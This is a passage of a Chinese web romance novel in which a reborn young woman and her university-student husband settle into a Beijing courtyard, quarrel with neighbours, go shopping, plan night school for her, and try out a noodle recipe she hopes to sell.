一进院子，就看见自家被子湿透，母亲又坐在地上抹眼泪，她立马冲过去，被那妇人一把扒住，哭天喊地地诉苦。 骂声夹着委屈，一句比一句夸张。 那女儿脸色当场就变了，抬头就喊：“报警！” 言昭可不怕，以前她也怕警察，但是上辈子发生那个寡妇那事，警察都没管，还把人放了回来，就知道警察也不是什么都抓。 现在自己不过是泼了两床被子，就算报警，也不至于把人怎么样。 再说，先动她被子的也不是她。 言昭站在那儿，抱着自家的被子，神情冷静得很，一点都不慌。 可就在这时，院门口传来脚步声。 顾煜回来了。 他刚走进院子，就察觉到气氛不对，目光扫了一圈，最后落在言昭身上。 那一瞬间，言昭心口微微一紧。 还没等她开口，那家的女儿先愣住了。 她盯着顾煜看了两秒，脸色一下子变了，脱口而出：“顾煜？” 言昭没想到这个女生竟然认识顾煜。 顾煜没理会院子里的那些人。 他的目光越过所有嘈杂，直接落在言昭身上。 言昭被他这么一看，心脏又不受控制地抽了一下。 她下意识站直了些，压低声音，把刚才晒被子、被扔、泼水、动手的事情一五一十说了。 没有添油加醋，也没有委屈哭诉。 就是很平静地说完。 顾煜听完，他双手紧握了一下自己，但又很快平复。 不能再吓到这个女人了，也不能把自己身周不好的事情带到她身上来。 顾煜平复好自己的心情，他轻轻“嗯”了一声。 像是在确认事情经过。 随后，他抬眼看向那个喊着要报警的女生，目光淡得很，没有情绪，也没有多余的停留。 下一秒，他已经伸手牵住言昭的手腕，语气平稳：“我们回屋。” 言昭几乎是被他带着转身的。 院子里的声音被甩在身后。 而另一边，那被揍的妇人已经顾不上再骂了，她一边心疼地把湿掉的被子往屋里拖，一边拉着自己女儿。 语气又是惊讶，又带着点压不住的兴奋。 她压低声音，急急地问：“囡囡，你跟那个京大的……认识？” 那女生点了点头，语气压得很低，却藏不住兴奋：“他是京大的男神，真没想到，他竟然住在咱们院子里。” 说到这儿，她整个人都激动起来，转头抓着妇人的胳膊：“妈，他来这住多久了？” 妇人说：“昨天才来的。” 话音刚落，那女生眼睛彻底亮了。 …… 回到房间的言昭没在他脸上看到生气的意思，心里悄悄松了一口气。 顾煜手里拎着东西，进屋后把门关好。 他把一个瓷杯和两个饭盒放到桌上，掀开盖子，里面是一碗热汤，还有配好的饭菜。 香味一下子散开。 他把碗筷给她摆好，语气自然：“饿了吧？”说完，又像是早就想好的，接了一句：“我们吃完，今天我带你去学校逛一圈。” 言昭一愣，下意识摇头：“不用，我打算……” 话说到一半，她又停住了。 顾煜知道她有话要说，他已经放下了筷子，神色很认真地看着她，目光安静又专注。 那意思很明显。 他在等她继续说。 言昭被他这么看着，心口轻轻跳了一下。 她抿了抿唇，唇瓣动了动，终于还是低声说出来：“我能用点钱吗？” 说完言昭双手在衣服上揉捏着。 刚来的时候她说不用钱，现在又伸手要钱…… 顾煜没有问理由。 他只是伸手，从口袋里掏出一叠钱。 红的绿的混在一起，看着不少。 他数都没数，直接放到她面前：“这是我这个月赚来的，你拿去花。” 语气平静得像是在说一件再寻常不过的事。 言昭看着那叠钱，指尖轻轻蜷了一下，心口跟着发热。 顾煜没有问她要钱做什么。 也没有露出半点犹豫。 那叠钱就安安静静地放在桌上，像是本来就该给她。 言昭看着，心里反倒有点发紧。 她吸了口气，还是主动解释了：“我想出去看看，大家都在卖什么，我……我……” 话没说完，但是顾煜听懂了。 不过他像是又想起什么，语气认真了些：“你一个人出去不安全，我陪你。” 言昭摇头：“不用不用，你也忙，而且我就随便逛逛而已，” 顾煜没有答应也没拒绝，只是说：“先吃饭。” 屋子里一下子安静了几分，只剩下碗筷的声音。 言昭察觉到了，她低头吃完自己那一份，心里有点忐忑，在反省自己是不是说得太多了。 等一顿饭吃完，她站起身想要去洗碗，但被顾煜先一步拿走。 言昭愣了一下，下意识追过去：“我来就行，你不是还要忙吗？” 顾煜已经把碗端到水桶旁，语气平静，没有商量的意思：“没事，我来。” 她伸手去接，被他侧了一下身避开。 再去拿，他干脆把碗往高处一放。 言昭被堵得没法，只能站在一旁看着。 顾煜把碗洗完，水也顺手倒了。 他擦了擦手，很自然地说了一句：“家里不方便洗澡，我带你去大澡堂。” 言昭下意识就要拒绝。 洗个澡还要跑外面去，又得花钱，在她看来实在是浪费。 话都已经到嘴边了，她刚张口，顾煜直接伸手，牵住了她。 言昭下意识想抽回来，可他握得很牢。 她又不敢太用力挣，抽了两下，愣是没抽回来。 偏偏她最吃这一套。 嘴上没再说什么，人已经被他带着往外走了。 幸好天已经黑了，院子里灯光昏暗，没什么人注意。 两人一前一后，很快就到了隔壁。 大澡堂的门一推开，热气立刻扑面而来。 言昭其实有点奇怪。 刚才一路被他牵着，她才后知后觉地发现，他的手心很热。 不过很快，言昭的注意力就被别的东西带走了。 进了大澡堂，她才发现，这会儿其实还是中午。 来洗澡、搓澡的人并不多，走动声也不吵。 而且男女分浴，各走各的门。 她看见顾煜也要洗，心里那点别扭反倒消了，便没再说什么，抱着盆子往里走。 一进去，她就愣住了。 里面的池子大得出乎意料，水面冒着腾腾热气，整个空间都被蒸得雾蒙蒙的。 这么大的池子，得烧多少柴火啊？ 她忽然有点懊恼，刚刚怎么就没先问一声价钱。 要是很贵，可怎么办。 言昭这边几乎没人。 准确来说，算是没人。 她刚进来的时候，角落里还有个岁数大的，一看见她，愣了一下，立马抱着盆子就走了。 脚步还挺快。 弄得言昭心里一紧，下意识以为是不是自己做错了什么。 她也不敢多耽搁，动作比平时快了不少，匆匆洗完。 只是那池子实在太大了。 水一泡上来，热意顺着皮肤往里钻，原本绷着的肩背一下子就松了。 舒服得让人忍不住多待一会。 等她终于起身，去了女生这边换衣服的地方，屋子里还空着。 她低头系着衣扣，正要把头发拢好，门口忽然进来两个女生。 两人说说笑笑的，声音不小。 其中一个压着嗓子，却明显压不住兴奋：“外面那个男生也太帅了吧。” 另一个立刻接话，拼命点头：“真的，我看的好心动啊。” “要不去问问他名字？” “我觉得行……” 言昭听到这里，她手上的动作顿了一下。 她抱着盆走了出去。 一抬眼，就看见了顾煜。 他身上只穿着一件很普通的灰色短袖，料子单薄，贴在身上，却把身形衬得格外清晰。 肩背笔直，腿很长，站在那里就显得修长利落。 那种好看，并不是刻意的。 只是站着，就让人移不开眼。 那两个女生果然已经站在他面前，语气带着明显的试探：“同志，能问一下你叫什么名字吗？” 顾煜微微蹙了下眉。 他的目光也跟着很快越过她们，落到了言昭这边。 几乎没有犹豫，他开口：“不好意思，我爱人来了。” 话音落下，他已经朝言昭走过来。 自然得很。 他伸手接过她怀里的盆，动作顺手又熟练。 低头看了一眼她的头发，眉心又轻轻皱起：“怎么没擦干？” 言昭被他这么一问，反倒有点不自在，小声回了一句：“待会儿就干了。” 顾煜没再说什么，只是把盆端稳，往前走了两步，站在她身侧。 那两个女生站在原地，脸上的表情一下子就僵住了。 因为她们认识言昭，就刚刚在房间的那个女生。 那她们两个人是当着人家正主的面，想要勾搭人家的对象啊！ 第16章 顾煜被误会吃软饭 言昭正想回去了。 脚步刚动，却被顾煜拉住。 她眨了眨眼，有点疑惑，难道他还想跟那两个女生说话？ 结果顾煜侧过头，语气很自然：“咱们洗澡还没付钱。”他又补了一句：“我没钱，得你来付。” 言昭：“？？？” 她眼睛眨眨，但很快反应过来。 顾煜的钱，在家的时候全给她了。 言昭脸上一热，手忙脚乱地从口袋里掏钱，红的绿的一叠。 而这一幕，正好被那两个女生看在眼里。 两人对视了一眼，眼神里全是震惊。 帅哥没钱，还得女的掏？ 而且这女生，随手一掏就是一叠票子？ 刚才还带着点心动的表情，瞬间变得复杂起来。 言昭把钱递过去。 一共付了一块钱。 柜台那边找回四毛。 一个人三毛。 她把钱接过来时，心里明显松了一口气。 还好不是一块钱。 要真是一块，她刚才心里那点底气，估计得当场塌一半。 可就算是三毛，也不算便宜。 她捏着那几枚毛票，在心里飞快算了一下，又很快把这点念头压下去。 毕竟都已经洗了。 而且泡得是真的舒服。 身上松快了，骨头缝里那点酸乏都被热水逼散了。 再提钱，反倒显得扫兴。 她把找回来的钱塞好，没再说什么，只是跟着顾煜往外走。 外面的冷风一吹，热气散开，人也清醒了不少。 顾煜自然把她付钱时那点紧张、听见价格后又悄悄松口气的小表情，全都看在眼里。 他什么也没说，只是唇角轻轻勾了一下。 那点笑意很淡，但是很清楚。 顾煜带着她往回走。 刚进大院，里面已经吵成了一团。 骂骂咧咧的声音此起彼伏。 还没等言昭看清，一个人就猛地冲到她面前，指着她就骂：“是不是你在我家放火了！” 话音刚落，顾煜已经一步挡在她前面。 言昭被这话说得直蹙眉，心里那点洗完澡的松快一下子没了，她直接开口：“你在这胡说八道什么？我们去大澡堂洗澡，才回来。” 院子里有人立刻接话：“胡家婶子，你现在逮着人就说是在你家放火的人，这火怕不是你自己放的吧？” “就是，我刚回来的时候，看见人家两个人站在大澡堂门口付钱呢。” 胡家婶子的脸色一下子变了，嘴还想骂，但是没刚才那么硬气。 这两个人也是刚回来就被冤枉，怒气大得很。 言昭跟顾煜走过去，就闻到空气中一股呛人的焦糊味。 她一眼就看见了。 不远处那间屋子的门口，被熏得一片黑。 门框、墙角，全是烟火留下的痕迹。 最显眼的，是扔在外头的那两床被子。 已经烧得不成样子，边角卷起，布料焦黑发硬，根本看不出原来的颜色。 言昭盯着那两床被子看了两眼，心里面有点幸灾乐祸。 虽然不知道是怎么烧着的，但是烧得挺好。 顾煜收回视线，他转过头，看向言昭：“等会你跟我一起去学校吧。” 言昭下意识问：“我为什么还要去你学校？” 顾煜看她那副明显排斥的样子，脚步却还是往前挪了一点。 距离一下子近了。 他俯下身，又微微低了低头，说话时气息落得很近：“你来了以后，我还没带你好好逛一下。” 那声音压得低，几乎是贴着她耳边。 言昭整个人瞬间绷住了。 心脏跳得又急又乱，连呼吸都不自觉放轻。 她下意识往后缩了半步，肩背发紧，还是立刻摇头，几乎是条件反射：“不用不用。” 声音说得太快，反倒显得有点慌。 她又赶紧补了一句：“我不用逛，我在家就好了。” 话说完，才意识到自己手心都在发热。 她是真的这么想。 可顾煜靠得太近。 近到她退一步，他就跟着停住。 不再往前，却也没有拉开距离。 言昭喉咙发紧，下意识攥住衣角，指尖都是热的，偏偏还要强撑着站稳，不让自己再退。 顾煜看了她两秒，最后点头：“好吧，那下次带你去逛，今天你也累了。” 言昭看他要走，犹豫了一下，还是主动开了口：“那……我能不能出去买点锅碗瓢盆？” 话说完，她自己先紧张起来，眼睛没敢看他。 顾煜答得很干脆：“当然可以。”随后又补了一句：“不过家里不用你做饭，我在食堂有饭票。” 这话本来很寻常。 言昭却一下子红了脸。 她抿了抿唇，声音压得极低，几乎要被风吹散：“我想试试……能不能做点吃的。” 这句话说得很小。 要不是顾煜靠得近，还真的听不见。 他看着她，歪了歪脑袋：“你是想卖吃食吗？” 言昭轻轻点头。 这是她洗澡的时候想到的。 热水一泡，脑子反倒清醒了。 上辈子她也就是干活，没什么本事。 要说真拿得出手的，也就是做饭。 勉强算好吃。 反正上辈子，只要吃过自己弄的，都说好吃，就连李玲各种挑毛病， 顾煜沉默了一瞬，“我最近想让你去上学。” 这话一出来，言昭整个人都愣住了。 言昭猛地抬头，满脸震惊：“我这样的人，怎么能上学？” 她因为出身问题，当时要不是婶子把自己捡回来，肯定死了。 顾煜听着皱了下眉，“你别总是贬低自己。”他说：“而且你以前不是跟我说过，人只有读书了，才知道怎么做人？” 言昭一怔。 那句话，她是真的忘了。 主要已经过了一辈子，加上上辈子她的目光，全都放在顾城身上，日子围着他转，心也跟着偏了。 至于顾煜。 她几乎没怎么去想过。 那些零零碎碎的话、偶尔的交流、他安安静静站在一旁的样子，反倒是在来到京市之后，才一点一点被翻出来。 像是被时间压在角落里的东西，慢慢见了光。 言昭低着头，没有说话。 也不知道该说什么。 顾煜看了她一会儿，已经明白了。 他叹了口气，抬起手，落在她头顶。 不是轻轻碰一下，而是带着点力道，揉了揉她的头发，把她原本就不算整齐的发丝揉得更乱。 语气压低了几分，带着点不明显的委屈：“你把我的事情都忘记了。” 言昭下意识张了张嘴说：“对不起……” 三个字脱口而出。 她道完歉后，又发现自己也没什么资格道歉。 上辈子爱上别人的是她，忘记的人是她。 现在言昭感觉她再怎么说，都像是在给自己找借口。 情绪拧在一起，她低下头，手指攥紧又松开，一时间不知道该怎么面对顾煜。 顾煜看她陷入自责中，他已经收回了手，没有继续追究这件事。 他开始认真替她把路一条条摆开：“上学和做吃食不冲突。晚上去上学，白天可以弄吃的，而且我也会帮你。” 言昭是真的没想到。 都说到这个份上了，他还在替她想以后怎么走。 那种被人认真放在心上的感觉，让她心口发紧，又有点慌。 可关于上学这件事，她心里很清楚。 她轻轻摇了摇头，声音低下来：“上学……我不行。” 不是推脱，是实话。 她认字，还是很小的时候学的。 后面她也只能偶尔偷摸着看一点点字，记得零零碎碎。 再后来日子一忙，心思全放在干活和过日子上，很多字早就忘得差不多了。 现在再让她去学校，坐在教室里听课，她自己想想都觉得心虚。 也是真觉得自己不配。 她抬头看了顾煜一眼，又很快垂下去，语气里带着点不自觉的退让：“我怕到时候什么都听不懂，反而给你丢人。” 顾煜没有再顺着她的话往下劝。 也没有继续跟她拉扯那些“行不行”“怕不怕”的顾虑。 他看着她，语气忽然变得很直接：“钱我已经交了，人情也已经用了。现在你不去，才是真的丢我脸。” 言昭：“……” 这还是她第一次这么清晰地感受到顾煜的强硬。 顾煜低头看着她。 目光落得很低，很沉，几乎是停在她紧抿的唇瓣上。 那一瞬间，空气像是被什么压住了。 言昭被他看得心里发紧，下意识屏住呼吸，还没来得及说什么，顾煜却突然转身，什么话都没留，直接走了出去。 门被带上，声响不重，却让人心口一震。 屋子里只剩下言昭一个人。 她站在原地，愣了两秒，随即心口猛地慌起来。 她几乎是条件反射地以为顾煜生气了。 是因为自己一直拒绝，一直退，让他不耐烦了。 这个念头一冒出来，言昭连鞋都顾不上穿好，立刻追了出去。 院子里灯光昏暗。 顾煜站在门外，背对着她，肩背绷得很直。 言昭快走两步，伸手拉住他的衣角，声音带着点急：“你别生气。”她几乎没停顿，直接把话说出口：“我去上学，我去。” 顾煜本来只是出来让自己冷静一下。 最近对她的躁动，已经越来越难压住。 偏偏她刚才那副紧张又倔强的样子，让他差点失了分寸。 可现在—— 她就这么拉着他。 力气不大，却实实在在。 顾煜没立刻转身，喉结轻轻滚了一下，呼吸明显重了一瞬。 他闭了下眼，才慢慢开口，声音低得发紧：“我没生气。” 只是，再这样下去，他也不知道自己还能克制多久。 这时顾煜转过身时，刻意往旁边退了一步。 那点距离不大，但足够把刚才几乎失控的气息压回去。 他站得很直，神情已经恢复了冷静，像是刚才那一瞬的紧绷从未出现过。 言昭又下意识以为他还是在生气。 她没敢再拉他，手指慢慢松开，站在原地，背脊有点僵。 顾煜低声开口，语速放慢了些，像是在一条一条安排事情：“给你报的是夜校，白天不用过去，晚上去上课就行。” “先从认字开始，不急，对你来说也不难。” 言昭本来还想说点什么，可话到嘴边，又被她自己压了回去。 她已经不敢再拒绝了。 怕再多说一句，真的把他惹恼。 于是她只点了点头：“好。” 顾煜看了她一眼，没有再逼近，也没有再多说什么，只是应了一声。 这件事，就这么定了下来。 后面，顾煜还是带着言昭去买东西。 锅碗瓢盆、油盐酱醋，一样样看过去。 言昭一路都很安静。 她心里还惦记着刚才的事，总觉得是自己让他不高兴了，所以这一路上，她什么意见都没提，只乖乖跟在他身后，等到付钱的时候就把钱递出去。 动作很熟练。 也很自然。 可这一幕落在旁人眼里，就有点不对味了。 不少人都忍不住多看两眼。 一个长得这么出挑的男生，站在人群里都显眼，结果买东西的时候却不掏钱，反倒是身边那个姑娘付账。 而且那姑娘看着柔柔弱弱的，说话轻，动作小，一看就不像是会当家的样子。 一时间，各种目光和猜测都悄悄落了过来。 有惊讶的。 也有意味不明的。 言昭没注意这些。 她只低着头，把找回来的零钱收好，又默默跟上顾煜的脚步。 倒是顾煜察觉到了那些视线，但是他神色没什么变化，只是步子放慢了一点，神色反倒是看起来有些享受。 而言昭到底还是听见了。 此时顾煜正站在柜台前，低头替她挑衣服，拿起一件又放下，神情认真得很。 言昭一点也不想要。 可她又不能直接拒绝，只能往旁边挪了挪，刻意离他远一点，用这种方式让他知道自己的不情愿。 她低着头，假装看别处。 也就是这时候，旁边传来压低的说话声。 “那个男生长得真好看啊。” “是啊，可惜了，没想到是个吃软饭的。” “就是说嘛。”另一个人接着笑，语气里带着点揶揄：“不过长成那样，要是跟我在一起，我也愿意让他吃。” 这话刚落，就有人笑出声来：“你想的可真美。” 言昭皱了下眉，直接抬眼看向那几个人。 目光很凶。 有人立刻反应过来，意识到自己刚才那些话被当事人听见了，脸色一下子变得不太自然，连忙伸手拉了拉身边人的衣服。 旁边的人发现，笑声戛然而止，视线下意识移开，也跟着闭嘴。 第17章 你为什么总是咬嘴唇？ 言昭是真的没想到，只是自己付了几次钱，竟然会让人误会成这样。 她心里那点不舒服越攒越明显，还是忍不住走到顾煜身边，小声开口：“还是你拿着钱吧。” 顾煜摇了摇头，没有接。 他手里正拿着一件毛呢，在她身前比了比。 他低头看了一眼，又抬头笑了笑：“这件尺寸很适合你，这件也买。” 言昭低头一看，就看见旁边柜台上已经放了五六件衣服。 有裙子，有上衣，也有裤子。 样式都非常好看。 尤其是现在顾煜手里这件，是一件很厚实的外套，颜色素净，看着就很挡风。 言昭赶紧伸手拦住他，语气明显急了：“不用不用，我衣服够穿的，真的不用买……” 可顾煜却像是没听见她的拒绝，把衣服放到一旁，示意老板一起包起来，“全买。” 言昭站在原地，一时间不知道该说什么。 心里那点因为外人议论而起的难堪，还没来得及散，就这样被他这样不动声色地压了下去。 买衣服，当然还是言昭付的钱。 一件一件算下来，她站在柜台前，听着服务员报数，心一点一点颤抖起来。 竟然要九十六块钱！！！ 言昭指尖一紧。 她攥着钱的手都有点颤抖。 尤其是那件毛呢外套，单拎出来，竟然要四十八块！ 四十八块钱啊。 她两辈子穿的衣服价格加起来都没这么贵…… 言昭下意识地摇头，声音压得很低，语气着急说：“不买了吧，这件太贵了。我随便穿点就可以了，真的。” 她是真心疼。 顾煜还没来得及说什么，旁边一直陪着挑衣服的服务员先不耐烦了。 那人脸色微沉，语气也冷下来，带着点明显的不客气：“你要人家给你挑这么久，挑好了又说不买？” 她上下打量了言昭一眼，语气里带着刺：“没钱就别在别人面前装大方。” 这话一出来，周围几道目光立刻又聚了过来。 空气一下子僵住。 言昭站在原地，脸色慢慢白了一点，指尖攥得更紧了。 顾煜目光冷冷地扫了她一眼。 那一眼没有怒气，却让人心里发紧。 他什么解释都没给，只抬手指了指不远处正在理货的另一个男服务员，语气平静得近乎冷淡：“同志，你过来，给我爱人结账。” 声音不高，但是清清楚楚。 被点到的男人一愣，他只是一个干杂活的，没想到有这种好事到自己身上。 他立刻放下手里的东西，小跑着过来，态度明显恭敬了许多。 而原本站在柜台前的那个女服务员僵在了原地。 她怎么也没想到，自己本来是想替他“找面子”，结果反倒被当场换掉。 这可是将近一百块的单子。 九十八块钱。 提成不低。 就这么没了。 她脸色一阵青一阵白，嘴唇动了动，想说什么，又硬生生憋了回去，只能站在一旁，看着那位男服务员利索地把账单重新算了一遍。 言昭站在顾煜身侧，她没想到因为自己的拒绝，又招惹到事情了。 现在顾煜还看着她，明显不付钱不行。 她只能拿出一张一百的，这可是所有家当了…… 顾煜提着装衣服的纸袋，一只手牵着言昭，带着她出了店门。 外头风一吹，言昭才回过神来，发现自己还被他牵着，她赶紧抽出来。 只是言昭一路低着头，情绪明显闷着。 顾煜看了她一眼，脚步慢了些，叹了口气，语气也跟着软下来：“我赚钱能力还是很强的，你不能跟以前一样吗？没钱了就找我要。以前的时候，你也没这么多话说。” 言昭脚步一滞。 这句话戳得她心口一紧。 她抿着唇，过了好一会儿才低声说：“以前……以前对不起。” 上辈子的是只要自己找顾煜要钱，他就从来没有拒绝过。 不问做什么，不问够不够，只是默默给。 她那时候为了顾城要的心安理得，可也从来没意识到，那其实是他一直在替她兜着。 顾煜停下脚步，转过身。 他伸手捏住她的下巴，力道不重，带着不容她躲开的意味，迫她抬头看他。 语气不凶，却很认真：“以后你不要动不动就低头。不然你这样，是在给别人欺负你的机会。” 言昭被迫对上他的视线，那只手的温度从下巴传过来，让她整个人都僵住了。 她下意识 这个细微的动作却没逃过顾煜的眼睛。 顾煜的视线落在她紧紧咬住的唇瓣上。 那目光停得很低，很久，像是阴影里缓慢爬行的东西，黏着不放，带着一点说不清的压迫感，让人避无可避。 下一瞬，他的指尖落在她唇下，用力一按，硬生生把她咬住的唇瓣拉开。 动作并不粗鲁，却极其直接。 言昭眼睫一颤，几乎是本能地想躲。 可他忽然靠得太近了。 近到她呼吸一下子乱了节奏，心口猛地一跳，后背发紧，下意识想往后退，却被他按得动不了。 顾煜低声开口，声音压得很低：“你为什么总是咬嘴唇？” 他的指腹还停在那里，没有立刻收回，而是极慢地、若有似无地摩擦着她的下唇，像是在确认什么，又像是在克制什么。 “总是露出这种……”他顿了一下，目光依旧沉沉地盯着她，“想让人欺负的表情。” 言昭本来想说什么。 可她才刚张开口，顾煜的食指原本压在了她的唇瓣上指腹开始贴着她的唇线摩擦。 顾煜的眼神随之沉了下去。 那目光不再掩饰，像潮湿的暗影缓慢漫上来，低低地缠在她唇上，黏着不放，阴郁又压迫，让人下意识屏住呼吸。 言昭被这个目光盯得呼吸一乱，心口猛地一跳。 她也能清楚感觉到，他的指尖贴得太近了，几乎要碰到她的牙齿。 可偏偏停在那一线之隔，像是在试探，又像是在故意折磨她的神经。 与此同时，他另一只手抚上她的脸侧，指腹沿着她的颊骨慢慢摩挲，动作很缓，很轻，还带着一种令人心悸的感觉。 言昭整个人僵住。 脸颊的热意几乎是瞬间涌上来，耳根发烫，连后背都绷紧了。 这里可是在外面。 顾煜几乎是在下一瞬就意识到自己已经踩到了失控的边缘。 他猛地收回手，动作干脆利落，像是硬生生把什么压了回去，又往后退了一步，刻意拉开了距离。 那点逼仄的气息随之散开。 他弯腰把地上的纸袋重新提起来，指节收紧了一下，声音已经恢复了平稳，像什么都没发生过：“我们回去吧。” 言昭还站在原地。 神情有些呆滞。 她下意识看着他，脑子里却乱成一团，心口的跳动迟迟没能平复下来，甚至分不清刚才那一瞬到底是不是自己的错觉。 那种贴得太近的温度，那种被注视时的压迫感，仿佛还停在原处，没有散干净。 她迟了半拍，才轻轻应了一声，跟上他的脚步。 两人并肩往回走，谁都没有再提刚才的事。 …… 顾煜把人送到门口，没多停，只简单交代了一句就转身去了学校。 屋子里一下子安静下来。 言昭一个人坐在椅子上，半天没动。 今天发生的事情太多了，多到她一时理不清头绪，只觉得从早到晚，好像一直在让顾煜不高兴。 她抬手揉了揉自己的脑袋，动作做到一半，忽然又顿住了。 她想起顾煜揉过她的头发。 这个念头一冒出来，脸颊就不受控制地热了一下。 言昭有点心虚，索性往床上一倒，在床上滚了一下，又很快坐起来，觉得这样下去不行。 再想下去，脑子只会更乱。 她得做点别的事情，把注意力转开。 言昭起身，去翻今天买回来的那些东西。 衣服被她小心翼翼放在衣柜里面。 锅碗瓢盆那些也跟着摆出来。 还有一个小炉子，旁边放着一小袋煤炭。 她盯着那炉子看了好一会儿。 这是好东西。 在队里的时候，别说炉子了，连像样的铁锅都没几口，这种东西只有县城里的人家才能用得上。 而且这个炉子，不是她的钱买的。 是顾煜提回来的。 言昭站在屋子里，把东西一样样收拾好，心慢慢静了下来。 屋里是不能做饭的，烟味太大，位置也不够，而且顾煜提醒过来很不安全。 好在是一楼，每家每户门口都用木板、砖头简单隔出了一块地方，算是各自的小地盘。 她把煤炉放下，又把锅架好。 这会儿天已经黑了。 院子里不安静。 几家人都搬了小板凳坐在中间，说的还是白天起火那件事，七嘴八舌的，有人叹气，有人幸灾乐祸，也有人压低声音骂骂咧咧。 言昭一出来，就被注意到了。 尤其是在她把煤炉点起来的时候。 煤炉这种东西，院子里不是没有。 可大多都旧得发黑，用了不知道多少年。 像言昭这个，炉身还泛着新铁皮的光，干干净净，一看就是刚买没多久的。 言昭这边有点为难起来。 顾煜来的时候，顺手给她买了不少东西。 一小袋米，一袋面粉，还有一点肉，再加上几样她从没见过的调味料。 瓶瓶罐罐摆在一旁，颜色都不一样。 她做饭，向来只会油和盐，最多再放点葱蒜，像这种闻着就香的东西，她以前连见都没见过，更别说用了。 她犹豫着拧开一个小瓶，凑近闻了闻，又赶紧盖上，生怕一不小心用坏了。 正当她拿着勺子，想舀一点尝尝味道的时候，旁边忽然传来脚步声。 有两个人走了过来，目光直勾勾落在她的炉子上。 其中一个盯着看了两眼，忍不住开口：“大妹子，你这炉子是新买的吧？” 言昭抬起头，看清是院子里的邻居，语气也跟着放松下来。 她对这些人其实挺愿意接触的。 远亲不如近邻嘛。 再说了，起火那件事，自己被针对误会的时候，也有人站出来帮她说话，能知道这群邻居还是挺好的。 她有点不好意思地笑了笑，挠了下手指：“婶子，我也不太清楚。”停了一下，又补了一句，声音轻了点：“是我……我男人带回来的。” 这话一出口，她自己先有点不自在。 可说完了，心里反倒稳了一点。 那两个人一听，目光又在炉子和她身上来回看了看，语气里多了几分感叹：“你男人可真厉害啊。” 旁边有人开始解释：“你这炉子不一样，是升级版的。” 她一边说，一边指给旁人看：“你们看啊，上下两层，下面还专门开了个口子，煤灰能往下掉，里面就不会粘连、也不容易堵住火道。” “而且这炉子不用老把煤拿出来换，火能一直稳着烧，省事得很。” 这话说的周围的人一听，都跟着探头去看。 因为这个炉子，言昭倒是和院子里的人慢慢打了个脸熟。 原本只是远远看着、点个头的邻居，这会儿都凑过来说上两句。 言昭也跟着认识隔壁两家的邻居。 一个靠左那家姓李，两口子都在电影院门口卖票，天天见的人多，说起新鲜事一套一套的。 另一家姓王，是给公家单位开车的，看着话不多，说话也是慢悠悠。 言昭一一记在心里，脸上也带着笑，让人觉得她也亲和。 …… 言昭的厨艺，其实不是在顾家学的。 更早的时候，是在她很小、家里已经没了之后。 那会儿有个嬷嬷把她带在身边生活了一段时间。 后来日子颠簸，这些本事反倒成了她身上最稳的东西。 言昭在琢磨要卖什么。 包子、饺子这些，她在京市也吃过不少，人家铺子做得精细，味道成熟，她就算做的味道好，也很难让人知道。 要做，就得做点不一样的，最好是别人没有、又不难上手的。 她想了一会儿，目光落在案板旁那袋面粉上。 面条。 或者米粉。 这种东西不挑器具，也不用太复杂的工序，关键就在汤和味道。 只要调得好，香气一出来，挡都挡不住 她脑子里慢慢浮现出几种味型，咸鲜的、微辣的，甚至加点她小时候学过的小手法。 第18章 顾煜发现自己不穿衣服效果很大 言昭揉面的时候，动作很轻。 她没有用力去摔，也没有反复拉扯，只是慢慢揉、慢慢压，掌心的力道很稳。 面团在她手下渐渐变得柔软，带着一点温热的弹性。 她随手扯下一小块，指尖轻轻一拉，细细长长地就成了形，落在案板上也不塌不黏，看着就让人心里舒服。 面条放在一旁醒着，她转身去调味。 锅里下了点油，肉丁切得不大，翻炒几下就出了香气。 她没放太多调料，只顺着手感添了点，臊子颜色很快就出来了，油亮油亮的。 勺子一舀，顺着锅边滑进面汤里，汤色立刻变深，香味一下子散开。 之后就把火调大了点，又顺手把面条下锅，捞出来的时候还冒着热气。 她拿了几个碗，一碗一碗盛好，臊子也给得实在。 外头正好有人坐着闲聊。 言昭犹豫了一下，还是开口喊了一声：“我随便做了点面，婶子们，要不要尝尝？” 虽然大家脸上都带着疑惑，但是有白吃的东西，很快大家都凑了过来。 言昭一人给盛了一点，面条不多，但汤足，臊子也没省着。 第一口下去，有人明显愣了一下，“这面……还挺好吃的。” 另一个人低头又吃了一口，点头说：“汤香，面也筋道，不软不糊。” 言昭站在一旁，手上还沾着面粉，听见这话，肩膀不自觉地松了松。 有人却皱了下眉。 那人端着碗，又低头闻了一下汤，语气带着点迟疑：“大妹子，你这面……味道是好吃的，就是有股味儿。” 这话一出，旁边原本吃得正香的几个人都停了一下，下意识又低头闻了闻自己碗里的面。 言昭没急着反驳，也没立刻解释，只是也给自己弄了一碗。 她低头认真闻了闻。 热气往上扑，肉香、面香都有。 言昭又尝了一下，接着眉头蹙起，这面里面确实有一点说不清的味道，不重，但是有。 言昭目光不自觉落到门口的水龙头上，心神一动。 也没多说什么，直接走过去接了一碗水，低头尝了一小口。 入口的一瞬间，她眉心就轻轻皱了一下，很快又松开。 问题找到了。 不是面，不是调味，也不是炉子。 是水。 这筒子楼的自来水带着一股很淡的铁腥味，平时喝着不明显，可一遇到热汤，味道就被放大出来，和煤火的新味一叠加，就变得格外清楚。 言昭松口气。 她没声张，只是默默把锅里的汤倒掉，又重新去捏了一团面。 手上的动作明显更快了，水换成了顾煜给她提的井水，锅也重新洗了一遍。 等第二锅面下锅的时候，那股怪味已经彻底没了。 邻居们本来就是图个新鲜，又被她喊着尝，几个人围在一块儿，一人一小碗，吃着吃着，话也多了起来。 “香得很。” “刚才那股味儿也没了。” 等几个人吃得差不多了，面汤见底，味道也算是彻底定下来了。 院子里的人本就多，消息传得快。 再加上刚才那阵折腾，大家心里也都明白了，言昭这是要拿手艺出去讨生活的。 有人忍不住劝她：“大妹子，你这手艺是不错，可你男人不是京大的学生吗？大学生以后赚得多，你看这房子都给你买了，你还这么辛苦赚钱干啥？” 别人听见这房子是她男人买的，跟着惊讶：“不愧是京大的学生，竟然买了一套房。” 旁边有人跟着接上：“就是啊，你好好在家不就行了？给你男人生个大胖小子，比啥都强。” 话说得直白，甚至带着点理所当然。 言昭听着，手上的动作不自觉慢了一拍。 炉子里的火还稳稳烧着，锅底咕嘟冒着热气，白雾轻轻往上腾。 上辈子，她也不是没想过这些事。 那时候，她心里反反复复惦记着，要是能给顾城生个女儿就好了。 因为顾城总爱挂在嘴边，说什么想要儿女双全，说得一副温情脉脉的样子。 可到头来，李玲连一个都没给他生出来。 如今再听见“生孩子”这几个字，是要她……给顾煜生。 这个念头刚冒出来，言昭自己都被吓了一跳。 